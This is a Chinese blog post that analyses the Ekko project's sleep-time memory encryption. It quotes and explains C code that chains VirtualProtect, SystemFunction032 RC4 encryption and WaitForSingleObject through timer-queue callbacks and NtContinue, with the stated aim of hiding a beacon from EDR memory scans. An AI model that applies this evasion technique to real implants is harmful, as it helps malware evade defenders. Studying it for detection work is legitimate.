内存免杀--

通过分析Ekko项目了解内存加密过程,这对对抗内存扫描来说很重要。

概述

Edr会扫描程序的内存空间,检测是否存在恶意软件,这种检测恶意软件的方式,应该和静态检测没什么区别,只不过一个扫描的对象是硬盘,一个是内存,应该都是基于特征码来检测的,为了绕过这种扫描我们可以对内存中的beacon进行加密,但这样的话就会出现问题,因为beacon被加密后是无法正常的运行的,因为代码被加密了。
#
我们提到过自己是不可以加密自己的,但是Ekko项目实现了自己加密自己的内存,这对对抗内存扫描很有帮助。

API理解

CreateEvent()创建或打开一个事件对象

SetEvent()设置对象状态已通知状态

CreateTimerQueue()创建计时器队列

CreateTimerQueueTimer()创建计时器队列计时器


BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

phNewTimer接受计时器队列计时器的缓冲区

TimeQueue计时器队列句柄

CallBack回调函数,计时器过期时要执行的函数

Parameter回调函数的参数

DueTime过多长时间向计时器发信号

Period计时器的周期,如果为0就向计时器发信号

Flag标志,指定函数调用相关内容。

对于CreateTimerQueueTimer函数可以这样理解,它可以定时执行一个函数,应该是异步执行的。

WaitForSingleObject()等待某个对象的状态,如果状态为已通知就往下执行,或者等待超时也会往下执行,也可以设置一直等待

SystemFunction032()通过RC4加密方式加密内存

RtlCaptureContext()得到当前线程的CONTEXT结构

对于CONTEXT结构可以理解为:用于存储线程运行时寄存器的值,RIP,RSP......

NtContinue()对于这个函数确实不太理解,这里只需要知道给它传进去一个CONTEXT结构,就可以执行CONTEXT对应的代码,也就是可以控制程序执行流程。

Ekko代码阅读

一些不太重要的代码会跳过去

image.png

  hEvent = CreateEventW(0, 0, 0, 0);//创建一个未通知状态自动复位的事件
  hTimerQueue = CreateTimerQueue();//创建计时器队列
  NtContinue = GetProcAddress(GetModuleHandleA("Ntdll"), "NtContinue");//得到函数地址
  SysFunc032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
  ImageBase = GetModuleHandleA(NULL);//当前程序地址
  ImageSize = ((PIMAGE_NT_HEADERS)((DWORD64)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;//大小

这段代码通过调用CreateTimerQueue创建了一个计时器队列接着,通过调用GetModuleHandleAGetProcAddress得到了NtContinueSystemFunction032函数的地址,接着又得到了当前程序的基地址和当前程序的大小

image.png

if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD))//调用RtlCaptureContext得到CONTEXT结构
    {
        WaitForSingleObject(hEvent, 0x32);//等待

        memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));

通过CreateTimerQueueTimer创建了一个计时器,在创建后会立刻调用(因为DueTimeperiod都是0)RtlCaptureContext函数得到当前线程的CONTEXT结构,接着使用得到的CONTEXT结构初始化了一些CONTEXT结构,为下面的调用做准备。

image.png

        //构造VirtualProtect函数的CONTEXT结构,此函数用于修改内存权限
        // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
        RopProtRW.Rsp -= 8;
        RopProtRW.Rip = (DWORD64)VirtualProtect;
        RopProtRW.Rcx = (DWORD64)ImageBase;
        RopProtRW.Rdx = (DWORD64)ImageSize;
        RopProtRW.R8 = PAGE_READWRITE;
        RopProtRW.R9 = (DWORD64)&OldProtect;
        //构造SystemFunction032函数的CONTEXT结构,此函数用于加密内存
        // SystemFunction032( &Key, &Img );
        RopMemEnc.Rsp -= 8;
        RopMemEnc.Rip = (DWORD64)SysFunc032;
        RopMemEnc.Rcx = (DWORD64)&Img;
        RopMemEnc.Rdx = (DWORD64)&Key;
        //构造WaitForSingleObject函数的CONTEXT结构,此函数用于睡眠
        // WaitForSingleObject( hTargetHdl, SleepTime );
        RopDelay.Rsp -= 8;
        RopDelay.Rip = (DWORD64)WaitForSingleObject;
        RopDelay.Rcx = (DWORD64)NtCurrentProcess();
        RopDelay.Rdx = SleepTime;
        //构造SystemFunction032函数的CONTEXT结构,此函数用于解密内存
        // SystemFunction032( &Key, &Img );
        RopMemDec.Rsp -= 8;
        RopMemDec.Rip = (DWORD64)SysFunc032;
        RopMemDec.Rcx = (DWORD64)&Img;
        RopMemDec.Rdx = (DWORD64)&Key;
        //构造VirtualProtect函数的CONTEXT结构,此函数用于修改内存权限
        // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
        RopProtRX.Rsp -= 8;
        RopProtRX.Rip = (DWORD64)VirtualProtect;
        RopProtRX.Rcx = (DWORD64)ImageBase;
        RopProtRX.Rdx = (DWORD64)ImageSize;
        RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
        RopProtRX.R9 = (DWORD64)&OldProtect;
        //构造SetEvent函数CONTEXT结构,设置对象为已通知状态
        // SetEvent( hEvent );
        RopSetEvt.Rsp -= 8;
        RopSetEvt.Rip = (DWORD64)SetEvent;
        RopSetEvt.Rcx = (DWORD64)hEvent;

这段代码为调用VirtualProtectSystemFunction032......做准备
主要通过给CONTEXT结构的成员赋值,来模拟对应函数的调用(当然这里不是真的调用)

image.png

    //等100毫秒向计时器发信号,通过NtContinue调用VirtualProtect取消内存可执行权限
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
        //等200毫秒向计时器发信号,通过NtContinue调用SystemFunction032加密内存
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
        //等300毫秒向计时器发信号,通过NtContinue调用WaitForSingleObject进行睡眠
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);

这段代码负责加密,主要通过CreateTimerQueueTimer函数创建计时器,计时器在等待指定的毫秒后,调用回调函数(也就是调用NtContinue)而NtContinue则会根据我们传入的CONTEXT结构去执行对应的函数。

比如第一行,传入的是VirtualProtect函数的CONTEXT结构,那么NtContinue将会调用VirtualProtect

下面是调用流程,画的有点丑,师傅们见谅^ _^......

image.png
第二行就是调用SystemFunction032来对内存进行加密
第三行就是调用WaitForSingleObject来实现睡眠,SleepTime就是睡眠的时间

image.png
下面来看一下解密内存部分

 //等400毫秒向计时器发信号,通过NtContinue调用SystemFunction032解密内存
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
        //等500毫秒向计时器发信号,通过NtContinue调用VirtualProtect更改内存权限为可执行
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
        //等600毫秒向计时器发信号,通过NtContinue调用SetEvent设置对象为已通知状态
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);

第一行通过调用SystemFunction032来解密内存,第二行调用VirtualProtect设置内存权限为可读可写可执行,第三行调用SetEvent将事件对象设置为已通知状态。
内存加密部分执行流程

image.png

主要的代码已经介绍完了,下面来看一下效果。

效果

睡眠前

image.png
睡眠后

image.png
因为作者水平有限,文章中难免会出现错误和不足之处,如果有哪些不好的地方希望各位师傅斧正。

参考

https://github.com/Cracked5pider/Ekko Ekko项目地址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/209725.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【工作生活】汽车ECU开发内容简介

目录 1. 目标 2. 要分享什么 3.1 行业知识 3.1.1车载行业知识: 3.1.2项目: 3.1.3开发测试工具: 3.2 硬件平台 3.3 基础知识 3.4 工作生活 3. 我们是谁 1. 目标 随着新能源汽车的快速崛起,汽车电子行业开始快速发展&…

NSDT场景编辑器实现真数字孪生

在线工具推荐: 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 1、什么是数字孪生? 数字孪生是资产或系统的实时虚拟模型,它使用来自连…

用c语言自己实现qsort和冒泡排序

目录:1:冒泡排序 2:库函数qsort冒泡排序 3:库函数qsort排序结构体 4:自己实现qsort 1:冒泡排序 冒泡排序:的英文 Bubble Sort ,是一种最基础的 交换排序 。 之所以叫做冒泡排序,因为每一个元素都可以像小气泡一样,根…

MSSQL注入

目录 基本的UNION注入: 错误基于的注入: 时间基于的盲注入: 堆叠查询: 理解MSSQL注入是学习网络安全的一部分,前提是您在合法、授权的环境中进行,用于了解如何保护您的应用程序免受此类攻击。以下是有关…

Vue3中props传参(多种数据类型传参方式)

在Vue3中,props接收的type类型有以下几种: 1. String:字符串类型 2. Number:数字类型 3. Boolean:布尔类型 4. Array:数组类型 5. Object:对象类型 6. Date:日期类型 7. Func…

【数据结构】循环链表和双向链表

【循环链表】 (有头结点) pR1->next; R1->nextR2->next->next; free(R2->next); R2->nextp; 例&#xff1a;对于两个单循环链表a&#xff0c;b&#xff0c;将其连接起来&#xff0c;变成一个单循环链表 #include<stdio.h> #include<stdlib.h> …

深度学习早停机制(Early Stopping)与早退机制(Early exiting)

早停机制&#xff0c;一种机器学习模型调优策略&#xff0c;提升调优效率 下图损失值明显经过了欠拟合到过拟合 使用早停机制后&#xff0c;模型不再过拟合 模型早停是面向模型训练过程的。而在模型内部&#xff0c;也会出现类似的现象&#xff0c;这一现象被叫做过度思考(Ove…

Android 获取应用签名

Android 获取应用签名 本文主要讲下在android中如何获取应用签名. 也方便平时用来区分一个应用是不是原包应用. 1: 通过PackageManager获取签名信息 首先,通过packageManager获取到指定应用的PackageInfo. 这里需要传入的flag是PackageManager.GET_SIGNATURES /*** {link P…

Linux破解用户密码【基于redhat9】

Linux破解用户密码【基于redhat9】 操作步骤&#xff1a; 重启虚拟机&#xff0c;选择第二行&#xff0c;按下e键在倒数第二行的末尾加入 rd.break,按下ctrlx键&#xff0c;进入终端界面重新挂载/sysroot为读写切换到bash修改用户密码创建 /.autorelabel 文件使SELinux安全策略…

仿真的整体框架和类图设计

之前的写的模拟代码没有模块&#xff0c;没有对象&#xff0c;写的逻辑结构也很混乱。我花了些时间进行整理&#xff0c;首先所有的类如下图 在管理类中有统一的管理类的接口 &#xff0c;提供所有管理类的虚拟初始化和关闭方法 然后事件的管理类 我希望在这个类中管理所有的脉…

canvas基础:渲染文本

canvas实例应用100 专栏提供canvas的基础知识&#xff0c;高级动画&#xff0c;相关应用扩展等信息。 canvas作为html的一部分&#xff0c;是图像图标地图可视化的一个重要的基础&#xff0c;学好了canvas&#xff0c;在其他的一些应用上将会起到非常重要的帮助。 文章目录 示例…

操作系统-文件管理

文件的属性 文件名&#xff1a;由创建文件的用户决定文件名&#xff0c;主要说为了方便用户找到文件&#xff0c;同一个目录下不允许有重名文件。 标识符&#xff1a;一个系统内的各文件标识符唯一&#xff0c;对用户来说毫无可读性&#xff0c;因此标识符只是操作系统用于区分…

解决dom4j新增xml节点自动加上xmlns=““的问题

文章目录 问题发生问题原因技术积累问题解决实战演示写在最后 问题发生 有pom.xml文件A&#xff0c;有符合pom.xm格式的l字符串B&#xff1b; 字符串B通过DocumentHelper.parseText(str)转成xml文件&#xff1b; pom.xml文件A通过add(node)方法添加第二步转换完后的pom.xml文件…

微信小程序 内置地图及打开外部地图导航

1. 微信小程序 内置地图及打开外部地图导航 1.1 说明 用户点击通过目的地经纬度打开地图展示坐标点&#xff0c;然后可以选择外部安装的地图app进行导航搜索。    scale“4” 缩放比例&#xff0c;缩放级别&#xff0c;取值范围为3-20。 1.2. wxml代码 <button type&qu…

C++利剑string类(详解)

前言&#xff1a;大家都知道在C语言里面的有 char 类型&#xff0c;我接下来要讲的 string 类功能是使用 char 类型写的类&#xff0c;当然这个是C官方写的&#xff0c;接下来我们将会学会使用它&#xff0c;我们会发现原来 char 这种类型是还能这么好用&#xff0c;授人以…

Flutter学习(七)GetX offAllNamed使用的问题

背景 使用GetX开发应用的时候&#xff0c;也可能有人调用过offAllNamed&#xff0c;会发现所有controller的都被销毁了 环境 win10 getx 4.6.5 as 4 现象 从A页面&#xff0c;跳转到B页面&#xff0c;然后调用offAllNamed进行回到A页面&#xff0c;观察controller声明周期…

Python程序员入门指南:学习时间和方法

文章目录 标题Python程序员入门指南&#xff1a;学习时间、方法和就业前景学习方法建议学习时间 标题 Python程序员入门指南&#xff1a;学习时间、方法和就业前景 Python是一种流行的编程语言&#xff0c;它具有简洁、易读和灵活的特点。Python可以用于多种领域&#xff0c;如…

CentOS或RHEL安装code-server(vscode-web)

下载rpm安装包 网络下载或者下载到本地再上传到服务器&#xff0c;点击访问国内下载地址&#xff0c;不需要积分curl -fOL https://github.com/coder/code-server/releases/download/v4.19.1/code-server-4.19.1-amd64.rpm安装 rpm -i code-server-4.19.1-amd64.rpm关闭和禁用…

IP地理定位技术的服务内容详解

IP地理定位技术是一种通过IP地址确定设备或用户地理位置的技术&#xff0c;广泛应用于广告定向、网络安全、位置服务等领域。本文将深入探讨IP地理定位技术的服务内容&#xff0c;解析其在不同场景中提供的多种服务。 1. 准确的地理位置信息提供&#xff1a; IP地理定位技术的…

CGAL中2D三角剖分的数据结构

1、定义 三角剖分数据结构是一种设计用于处理二维三角剖分表示的数据结构。三角剖分数据结构的概念主要是设计用作CGAL2D三角剖分类的数据结构&#xff0c;这些类是嵌入平面中的三角剖分。然而&#xff0c;这个概念似乎更一般&#xff0c;可以用于任何可定向的无边界三角剖分曲…